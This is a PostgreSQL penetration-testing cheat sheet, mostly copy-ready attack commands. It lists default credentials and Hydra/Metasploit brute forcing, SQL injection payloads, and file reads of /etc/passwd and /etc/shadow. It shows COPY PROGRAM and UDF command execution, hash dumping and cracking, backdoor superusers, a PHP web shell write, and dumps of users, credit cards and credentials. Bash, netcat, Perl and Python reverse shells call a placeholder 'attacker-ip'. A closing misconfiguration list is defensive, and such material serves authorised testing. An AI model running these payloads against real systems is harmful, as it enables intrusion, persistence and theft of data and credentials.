PostgreSQL
Default Port: 5432
PostgreSQL, also known as Postgres, is a powerful open-source object-relational database management system (ORDBMS). It emphasizes extensibility and SQL compliance, supporting both SQL (relational) and JSON (non-relational) querying. PostgreSQL is known for its robust feature set, reliability, data integrity, and strong community support. It's widely used in web applications, data warehousing, and as a backend for various enterprise applications.
Connect
Using psql Client
# Local connection
psql -U username
# Remote connection
psql -h target.com -p 5432 -U username -d database_name
# Connect without specifying database
psql -h target.com -U postgres
# Connection with password
psql -h target.com -U username -W
# Execute command directly
psql -h target.com -U username -d database_name -c "SELECT version();"
# Execute commands from file
psql -h target.com -U username -d database_name -f script.sql
Using pgAdmin (GUI)
Host: target.com
Port: 5432
Database: postgres
Username: postgres
Password: password
Connection URL Format
postgresql://username:password@hostname:port/database_name
postgresql://postgres:password@target.com:5432/app_db
Recon
Service Detection with Nmap
Use Nmap to detect PostgreSQL services and identify server capabilities.
nmap -p 5432 target.com
Banner Grabbing
Connect to PostgreSQL servers to gather version and service information.
Using netcat
# Using netcat
nc -vn target.com 5432
Using nmap
# Using nmap
nmap -p 5432 -sV --script-args pgsql.username=postgres target.com
Using psql
# Using psql
psql -h target.com -U postgres -c "SELECT version();"
Enumeration
Version Detection
Extract PostgreSQL version and server information.
# PostgreSQL version
SELECT version();
# Server version number
SHOW server_version;
SHOW server_version_num;
# Detailed version info
SELECT current_setting('server_version');
Database Enumeration
Enumerating databases helps identify targets containing sensitive information and understand the application architecture.
# List all databases
\l
SELECT datname FROM pg_database;
# Current database
SELECT current_database();
# Database owner
SELECT pg_catalog.pg_get_userbyid(d.datdba) AS owner, datname
FROM pg_catalog.pg_database d;
# Database size
SELECT pg_database.datname,
pg_size_pretty(pg_database_size(pg_database.datname)) AS size
FROM pg_database;
# Number of connections per database
SELECT datname, count(*) FROM pg_stat_activity GROUP BY datname;
User Enumeration
Understanding user accounts, their privileges, and roles is crucial for privilege escalation attacks.
# List all users
\du
SELECT usename FROM pg_user;
SELECT usename, usesysid FROM pg_shadow;
# Current user
SELECT current_user;
SELECT user;
SELECT session_user;
# User privileges
SELECT usename, usecreatedb, usesuper FROM pg_user;
# Superusers
SELECT usename FROM pg_user WHERE usesuper = true;
# Users with create database privilege
SELECT usename FROM pg_user WHERE usecreatedb = true;
Schema and Table Enumeration
Enumerating schemas and tables helps map the database structure and locate sensitive data.
# List schemas
\dn
SELECT schema_name FROM information_schema.schemata;
# List tables in current database
\dt
SELECT table_name FROM information_schema.tables WHERE table_schema='public';
# List all tables across all schemas
SELECT schemaname, tablename FROM pg_tables;
# List columns in specific table
\d table_name
SELECT column_name, data_type FROM information_schema.columns
WHERE table_name='users';
# Find sensitive columns
SELECT table_schema, table_name, column_name
FROM information_schema.columns
WHERE column_name LIKE '%password%'
OR column_name LIKE '%pass%'
OR column_name LIKE '%secret%'
OR column_name LIKE '%token%'
OR column_name LIKE '%key%';
# Count rows in tables
SELECT schemaname, relname, n_live_tup
FROM pg_stat_user_tables
ORDER BY n_live_tup DESC;
Privilege Enumeration
Analyze user privileges and permissions.
# Current user privileges
\du+
# Table privileges for current user
SELECT grantee, privilege_type
FROM information_schema.table_privileges
WHERE grantee = current_user;
# Check if superuser
SELECT usesuper FROM pg_user WHERE usename = current_user;
# Check file read/write permissions
# Requires pg_read_file/pg_write_file functions
SELECT has_function_privilege('pg_read_file(text)', 'execute');
SELECT has_function_privilege('pg_ls_dir(text)', 'execute');
Function and Extension Enumeration
Discover installed functions and extensions that could be exploited.
# List installed extensions
\dx
SELECT extname, extversion FROM pg_extension;
# List functions
\df
SELECT proname FROM pg_proc WHERE proname !~ '^pg_';
# List large objects
\lo_list
SELECT oid, pg_size_pretty(lo_get(oid)) FROM pg_largeobject_metadata;
# Check for dangerous functions
SELECT proname FROM pg_proc
WHERE proname IN ('pg_read_file', 'pg_ls_dir', 'pg_read_binary_file');
Configuration Enumeration
Extract PostgreSQL configuration and settings information.
# Important settings
SHOW all;
SHOW data_directory;
SHOW config_file;
SHOW hba_file;
SHOW log_directory;
# File locations
SELECT name, setting FROM pg_settings WHERE name LIKE '%file%' OR name LIKE '%dir%';
# Logging settings
SELECT name, setting FROM pg_settings WHERE name LIKE 'log%';
# Connection settings
SELECT name, setting FROM pg_settings WHERE category = 'Connections and Authentication';
Attack Vectors
Default Credentials
PostgreSQL installations often retain default credentials for system accounts.
# Common default credentials
postgres:postgres
postgres:<blank>
postgres:password
postgres:admin
admin:admin
# Try with psql
psql -h target.com -U postgres
psql -h target.com -U postgres -W # Will prompt for password
Brute Force Attack
Brute forcing PostgreSQL credentials can reveal weak passwords on systems without account lockout.
Using Hydra
# Single user
hydra -l postgres -P /usr/share/wordlists/rockyou.txt target.com postgres
# Multiple users
hydra -L users.txt -P passwords.txt target.com postgres
Using Metasploit
use auxiliary/scanner/postgres/postgres_login
set RHOSTS target.com
set USERNAME postgres
set PASS_FILE passwords.txt
set STOP_ON_SUCCESS true
run
Using Nmap
nmap -p 5432 --script pgsql-brute --script-args userdb=users.txt,passdb=passwords.txt target.com
SQL Injection in PostgreSQL Context
PostgreSQL has unique SQL injection techniques and syntax.
# Error-based injection
' AND 1=CAST((SELECT version()) AS int)--
# Union-based injection
' UNION SELECT NULL, version(), NULL--
' UNION SELECT NULL, current_database(), NULL--
# Boolean-based blind
' AND (SELECT COUNT(*) FROM pg_user WHERE usename='postgres')=1--
# Time-based blind
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
'; SELECT pg_sleep(5)--
# Stacked queries (if supported)
'; DROP TABLE test_table;--
Command Execution via COPY
PostgreSQL's COPY command can be exploited for file operations and command execution.
Read Files with COPY FROM
CREATE TABLE temp_table(content text);
COPY temp_table FROM '/etc/passwd';
SELECT * FROM temp_table;
DROP TABLE temp_table;
Write Files with COPY TO
COPY (SELECT 'malicious content') TO '/tmp/backdoor.txt';
Execute Commands via COPY PROGRAM
COPY (SELECT '') TO PROGRAM 'id > /tmp/command_output.txt';
COPY (SELECT '') TO PROGRAM 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1';
Large Object Exploitation
Use PostgreSQL large objects for file operations and data storage.
# Create large object from file
SELECT lo_import('/etc/passwd', 12345);
# Read large object
SELECT lo_get(12345);
SELECT convert_from(lo_get(12345), 'UTF8');
# Export large object
SELECT lo_export(12345, '/tmp/exported_file');
# Delete large object
SELECT lo_unlink(12345);
# List all large objects
SELECT oid FROM pg_largeobject_metadata;
pg_read_file Exploitation
Use PostgreSQL file reading functions for filesystem access.
# Read files (requires superuser or pg_read_server_files role)
SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('../../../../../../etc/passwd');
SELECT pg_read_file('/var/lib/postgresql/data/pg_hba.conf');
# Read configuration files
SELECT pg_read_file(current_setting('config_file'));
SELECT pg_read_file(current_setting('hba_file'));
# List directory
SELECT pg_ls_dir('/etc');
SELECT pg_ls_dir('/var/www/html');
# Read binary files
SELECT pg_read_binary_file('/etc/shadow');
Post-Exploitation
Password Hash Extraction
Extract PostgreSQL password hashes for offline cracking.
# Extract password hashes (requires superuser)
SELECT usename, passwd FROM pg_shadow;
# All user information
SELECT * FROM pg_authid;
# Using pg_dumpall
# From command line
pg_dumpall -h target.com -U postgres --roles-only > roles.sql
# Hashes are in SCRAM-SHA-256 or MD5 format
# Example: SCRAM-SHA-256$4096:salt$hash1:hash2
Hash Cracking
Crack extracted PostgreSQL password hashes using various tools.
# Extract hashes
psql -h target.com -U postgres -c "SELECT usename || ':' || passwd FROM pg_shadow;" > postgres_hashes.txt
# Crack with hashcat (PostgreSQL SCRAM-SHA-256)
hashcat -m 28600 postgres_hashes.txt rockyou.txt
# Crack MD5 (older PostgreSQL)
hashcat -m 0 md5_hashes.txt rockyou.txt
# Crack with John the Ripper
john --format=postgres postgres_hashes.txt
UDF (User Defined Functions) for RCE
Create and use User Defined Functions for remote code execution.
# Create C-based UDF for command execution
# First, compile UDF library
# Upload library
CREATE TABLE temp_udf(data text);
INSERT INTO temp_udf VALUES (pg_read_binary_file('/tmp/lib_postgresqludf_sys.so'));
-- Or use lo_import
# Create function
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
# Execute commands
SELECT sys_exec('id > /tmp/command_output.txt');
SELECT sys_exec('bash -i >& /dev/tcp/attacker-ip/4444 0>&1');
# Using sqlmap's lib_postgresqludf_sys
# Library provides: sys_exec, sys_eval, sys_bineval
SELECT sys_eval('whoami');
Privilege Escalation
Escalate privileges to gain full database control.
# Create new superuser
CREATE USER backdoor WITH PASSWORD 'P@ssw0rd123!' SUPERUSER;
# Grant superuser to existing user
ALTER USER existing_user WITH SUPERUSER;
# Grant all privileges
GRANT ALL PRIVILEGES ON DATABASE target_db TO backdoor;
GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO backdoor;
# Become another user (if you have access to pg_authid)
SET ROLE postgres;
SET SESSION AUTHORIZATION postgres;
Persistence
Create persistent backdoor access to PostgreSQL databases.
# Create backdoor superuser
CREATE USER system_admin WITH PASSWORD 'ComplexP@ss123!' SUPERUSER CREATEDB CREATEROLE;
# Create backdoor function
CREATE OR REPLACE FUNCTION backdoor() RETURNS TEXT AS $$
BEGIN
PERFORM pg_sleep(1);
RETURN 'OK';
END;
$$ LANGUAGE plpgsql;
# Create trigger for persistence
CREATE OR REPLACE FUNCTION backdoor_trigger() RETURNS TRIGGER AS $$
BEGIN
-- Execute backdoor code
PERFORM pg_sleep(1);
RETURN NEW;
END;
$$ LANGUAGE plpgsql;
CREATE TRIGGER persistent_backdoor
AFTER INSERT ON some_table
FOR EACH ROW
EXECUTE FUNCTION backdoor_trigger();
Data Exfiltration
Extract sensitive data from PostgreSQL databases.
# Export sensitive data
COPY (SELECT * FROM users) TO '/tmp/users_data.csv' CSV HEADER;
COPY (SELECT * FROM credit_cards) TO '/tmp/cc_data.csv' CSV HEADER;
# Export with custom delimiter
COPY (SELECT username, password FROM accounts) TO '/tmp/credentials.txt' (DELIMITER ':');
# Export database schema
pg_dump -h target.com -U postgres -s database_name > schema.sql
# Export entire database
pg_dump -h target.com -U postgres database_name > database_backup.sql
# Export all databases
pg_dumpall -h target.com -U postgres > all_databases.sql
File System Access
Use PostgreSQL functions to access the underlying filesystem.
# Read files
SELECT pg_read_file('/etc/passwd', 0, 1000000);
SELECT pg_read_file('/var/www/html/config.php');
# Write files using COPY
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';
# Directory listing
SELECT pg_ls_dir('/etc');
SELECT pg_ls_dir('/var/www/html');
# Check file existence
SELECT pg_stat_file('/etc/passwd');
Reverse Shell
Establish reverse shell connections using PostgreSQL capabilities.
# Using COPY PROGRAM
COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/attacker-ip/4444 0>&1"';
# Using UDF
SELECT sys_exec('nc attacker-ip 4444 -e /bin/bash');
# Using Perl
COPY (SELECT '') TO PROGRAM 'perl -e "use Socket;$i=\"attacker-ip\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");}"';
# Using Python
COPY (SELECT '') TO PROGRAM 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"attacker-ip\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])"';
Lateral Movement
Use compromised PostgreSQL access for lateral movement.
# Enumerate network (if UDF available)
SELECT sys_exec('ping -c 1 192.168.1.1');
SELECT sys_exec('nmap -sn 192.168.1.0/24');
# Access other databases with same credentials
psql -h another-host.com -U postgres
# Check for password reuse
# Use extracted credentials on SSH, RDP, other databases
CVE Exploitation
Exploit known PostgreSQL vulnerabilities for privilege escalation and RCE.
# CVE-2019-9193 (Authenticated RCE via COPY FROM PROGRAM)
# PostgreSQL 9.3 - 11.2
# Requires SUPERUSER or pg_execute_server_program role
psql -h target.com -U postgres -c "COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned'"
# CVE-2018-1058 (Search Path Manipulation)
# Create malicious function in public schema
CREATE FUNCTION array_to_string(anyarray, text) RETURNS TEXT AS $$
BEGIN
-- Malicious code
PERFORM pg_sleep(10);
RETURN '';
END;
$$ LANGUAGE plpgsql;
Common PostgreSQL Commands
| Command | Description | Usage |
|---|---|---|
\l | List databases | \l |
\c | Connect to database | \c database_name |
\dt | List tables | \dt |
\d table | Describe table | \d users |
\du | List users | \du |
\dn | List schemas | \dn |
\df | List functions | \df |
\dx | List extensions | \dx |
\q | Quit psql | \q |
SELECT version(); | Get version | SELECT version(); |
SELECT current_user; | Current user | SELECT current_user; |
SELECT current_database(); | Current database | SELECT current_database(); |
Useful Tools
| Tool | Description | Primary Use Case |
|---|---|---|
| psql | PostgreSQL client | Direct database access |
| pg_dump | Database backup | Data extraction |
| pg_dumpall | Cluster backup | Complete backup |
| pgAdmin | GUI client | Database management |
| Metasploit | Exploitation framework | Automated testing |
| sqlmap | SQL injection tool | Automated exploitation |
| Hydra | Password cracker | Brute force attacks |
| hashcat | Password recovery | Hash cracking |
| John the Ripper | Password cracker | Hash cracking |
Security Misconfigurations
- ❌ Default credentials (postgres:postgres)
- ❌ Weak passwords
- ❌ Superuser accessible remotely
- ❌ pg_hba.conf allows trust authentication
- ❌ No SSL/TLS encryption
- ❌ Wide open firewall rules
- ❌ Unnecessary extensions installed
- ❌ Logging disabled
- ❌ Outdated PostgreSQL version
- ❌ COPY PROGRAM enabled for non-superusers
- ❌ File system functions accessible
- ❌ No connection limits